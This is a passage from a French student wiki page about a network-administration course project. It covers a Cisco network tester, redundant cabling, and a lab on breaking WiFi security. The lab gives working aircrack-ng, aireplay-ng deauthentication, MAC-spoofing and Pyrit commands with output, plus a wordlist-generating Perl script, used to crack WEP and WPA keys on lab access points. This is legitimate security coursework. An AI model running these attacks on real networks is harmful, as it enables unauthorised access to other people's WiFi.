Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
La dernière partie consiste à réaliser le code Cisco permettant de tester les connexions de notre réseau redondant.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23062</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23062"/>
				<updated>2015-11-19T14:30:41Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Utilisation du lecteur de carte SD */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
